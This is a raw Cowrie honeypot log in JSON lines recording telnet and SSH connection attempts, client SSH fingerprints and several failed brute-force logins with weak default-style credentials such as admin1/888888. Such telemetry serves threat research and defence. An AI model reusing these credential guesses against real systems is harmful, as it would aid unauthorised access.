{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":60396,"dst_ip":"159.203.135.109","dst_port":23,"session":"5584e4e9722d","protocol":"telnet","message":"New connection: 149.56.37.12:60396 (159.203.135.109:23) [session: 5584e4e9722d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:17.086673Z"}
{"eventid":"cowrie.session.closed","duration":34.429054260253906,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:17.882343Z","src_ip":"149.56.37.12","session":"40348d5716c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.208.249","src_port":50940,"dst_ip":"159.203.135.109","dst_port":23,"session":"481ceff1d2d4","protocol":"telnet","message":"New connection: 41.76.208.249:50940 (159.203.135.109:23) [session: 481ceff1d2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:18.417295Z"}
{"eventid":"cowrie.session.closed","duration":34.72088575363159,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:23.849461Z","src_ip":"149.56.37.12","session":"e520d583e816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":42768,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3b4529af23c","protocol":"telnet","message":"New connection: 149.56.37.12:42768 (159.203.135.109:23) [session: e3b4529af23c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:24.316828Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":45304,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eda2df895be","protocol":"ssh","message":"New connection: 78.128.112.74:45304 (159.203.135.109:22) [session: 6eda2df895be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:25.150598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:25.364989Z","src_ip":"78.128.112.74","session":"6eda2df895be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:25.369229Z","src_ip":"78.128.112.74","session":"6eda2df895be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.90899634361267,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:25.669132Z","src_ip":"149.56.37.12","session":"c6916ad1f344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.204020261764526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:26.142477Z","src_ip":"84.247.145.90","session":"826edbdd74ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":46168,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd30a04cd099","protocol":"telnet","message":"New connection: 149.56.37.12:46168 (159.203.135.109:23) [session: dd30a04cd099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:26.503309Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"999","message":"login attempt [user/999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:26.697867Z","src_ip":"78.128.112.74","session":"6eda2df895be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:27.820073Z","src_ip":"78.128.112.74","session":"6eda2df895be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.033520221710205,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:29.016503Z","src_ip":"149.56.37.12","session":"3be09f9903e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":50080,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7758b8a9a23","protocol":"telnet","message":"New connection: 149.56.37.12:50080 (159.203.135.109:23) [session: b7758b8a9a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:29.263280Z"}
{"eventid":"cowrie.session.closed","duration":30.404229164123535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:35.026339Z","src_ip":"162.254.118.99","session":"e8575b7ccc82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82045030593872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:35.988302Z","src_ip":"162.254.118.99","session":"66ac1684d82d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.533161640167236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:36.118057Z","src_ip":"84.247.145.90","session":"497b23072b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876705169677734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:37.015811Z","src_ip":"162.254.118.99","session":"94e280ea8a43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888652324676514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:39.019856Z","src_ip":"162.254.118.99","session":"905f4904b1c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41892,"dst_ip":"159.203.135.109","dst_port":22,"session":"78ee86dee44c","protocol":"ssh","message":"New connection: 159.203.92.129:41892 (159.203.135.109:22) [session: 78ee86dee44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:42.930106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:42.934495Z","src_ip":"159.203.92.129","session":"78ee86dee44c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:42.939097Z","src_ip":"159.203.92.129","session":"78ee86dee44c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"77777777","message":"login attempt [admin1/77777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:42.955850Z","src_ip":"159.203.92.129","session":"78ee86dee44c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.15158176422119,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:43.775678Z","src_ip":"149.56.37.12","session":"8bae0458f721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:43.962975Z","src_ip":"159.203.92.129","session":"78ee86dee44c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":59236,"dst_ip":"159.203.135.109","dst_port":23,"session":"3560963a3b84","protocol":"telnet","message":"New connection: 162.254.118.99:59236 (159.203.135.109:23) [session: 3560963a3b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:45.166938Z"}
{"eventid":"cowrie.session.closed","duration":37.924651861190796,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:45.624438Z","src_ip":"149.56.37.12","session":"b305b7d8411a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.59626126289368,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:45.672708Z","src_ip":"149.56.37.12","session":"d0e7b2e77a5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.753175020217896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:49.170339Z","src_ip":"41.76.208.249","session":"481ceff1d2d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":52974,"dst_ip":"159.203.135.109","dst_port":23,"session":"99171b54342f","protocol":"telnet","message":"New connection: 149.56.37.12:52974 (159.203.135.109:23) [session: 99171b54342f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:50.647056Z"}
{"eventid":"cowrie.session.closed","duration":35.33560872077942,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:52.422144Z","src_ip":"149.56.37.12","session":"5584e4e9722d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.345263957977295,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:53.913485Z","src_ip":"149.56.37.12","session":"a59334c9cece","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.2311532497406,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:01.547859Z","src_ip":"149.56.37.12","session":"e3b4529af23c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":42266,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a948a171d20","protocol":"telnet","message":"New connection: 149.56.37.12:42266 (159.203.135.109:23) [session: 9a948a171d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:01.562120Z"}
{"eventid":"cowrie.session.closed","duration":38.98550510406494,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:05.488693Z","src_ip":"149.56.37.12","session":"dd30a04cd099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.65069103240967,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:05.913877Z","src_ip":"149.56.37.12","session":"b7758b8a9a23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830312967300415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:15.997119Z","src_ip":"162.254.118.99","session":"3560963a3b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":40094,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c753b72e534","protocol":"telnet","message":"New connection: 149.56.37.12:40094 (159.203.135.109:23) [session: 0c753b72e534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:18.242739Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":41994,"dst_ip":"159.203.135.109","dst_port":23,"session":"30ea726dad20","protocol":"telnet","message":"New connection: 149.56.37.12:41994 (159.203.135.109:23) [session: 30ea726dad20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:20.525874Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42512,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ac8244aeaf4","protocol":"ssh","message":"New connection: 159.203.92.129:42512 (159.203.135.109:22) [session: 4ac8244aeaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:27.475517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:27.480594Z","src_ip":"159.203.92.129","session":"4ac8244aeaf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:27.485719Z","src_ip":"159.203.92.129","session":"4ac8244aeaf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"888888","message":"login attempt [admin1/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:27.501526Z","src_ip":"159.203.92.129","session":"4ac8244aeaf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:28.509120Z","src_ip":"159.203.92.129","session":"4ac8244aeaf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.48884105682373,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:30.135786Z","src_ip":"149.56.37.12","session":"99171b54342f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":35954,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a887817a270","protocol":"telnet","message":"New connection: 149.56.37.12:35954 (159.203.135.109:23) [session: 4a887817a270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:33.935676Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":40818,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7fc4998f2e2","protocol":"telnet","message":"New connection: 149.56.37.12:40818 (159.203.135.109:23) [session: b7fc4998f2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:36.831634Z"}
{"eventid":"cowrie.session.closed","duration":120.00340390205383,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:39.150233Z","src_ip":"167.250.105.129","session":"a8c6f0facaa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.7324013710022,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:39.294413Z","src_ip":"149.56.37.12","session":"9a948a171d20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":1616,"dst_ip":"159.203.135.109","dst_port":23,"session":"44f59088b25c","protocol":"telnet","message":"New connection: 167.250.105.129:1616 (159.203.135.109:23) [session: 44f59088b25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:40.721077Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":55506,"dst_ip":"159.203.135.109","dst_port":23,"session":"f82f7f533d02","protocol":"telnet","message":"New connection: 149.56.37.12:55506 (159.203.135.109:23) [session: f82f7f533d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:45.312488Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":57016,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f0e8bb76713","protocol":"telnet","message":"New connection: 149.56.37.12:57016 (159.203.135.109:23) [session: 8f0e8bb76713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:46.299767Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":7134,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bd978774ae5","protocol":"telnet","message":"New connection: 167.250.105.129:7134 (159.203.135.109:23) [session: 3bd978774ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:48.705671Z"}
{"eventid":"cowrie.session.closed","duration":32.59027981758118,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:50.832861Z","src_ip":"149.56.37.12","session":"0c753b72e534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":38502,"dst_ip":"159.203.135.109","dst_port":23,"session":"73f70fbed52f","protocol":"telnet","message":"New connection: 149.56.37.12:38502 (159.203.135.109:23) [session: 73f70fbed52f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:52.498849Z"}
{"eventid":"cowrie.session.closed","duration":34.81260132789612,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:55.338249Z","src_ip":"149.56.37.12","session":"30ea726dad20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.120.153.37","src_port":51558,"dst_ip":"159.203.135.109","dst_port":23,"session":"c64ffdf5606c","protocol":"telnet","message":"New connection: 103.120.153.37:51558 (159.203.135.109:23) [session: c64ffdf5606c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:05:56.139838Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":41904,"dst_ip":"159.203.135.109","dst_port":22,"session":"58d5b04cdb19","protocol":"ssh","message":"New connection: 45.120.216.232:41904 (159.203.135.109:22) [session: 58d5b04cdb19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:05.893076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:05.899736Z","src_ip":"45.120.216.232","session":"58d5b04cdb19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:06.135692Z","src_ip":"45.120.216.232","session":"58d5b04cdb19","protocol":"ssh"}
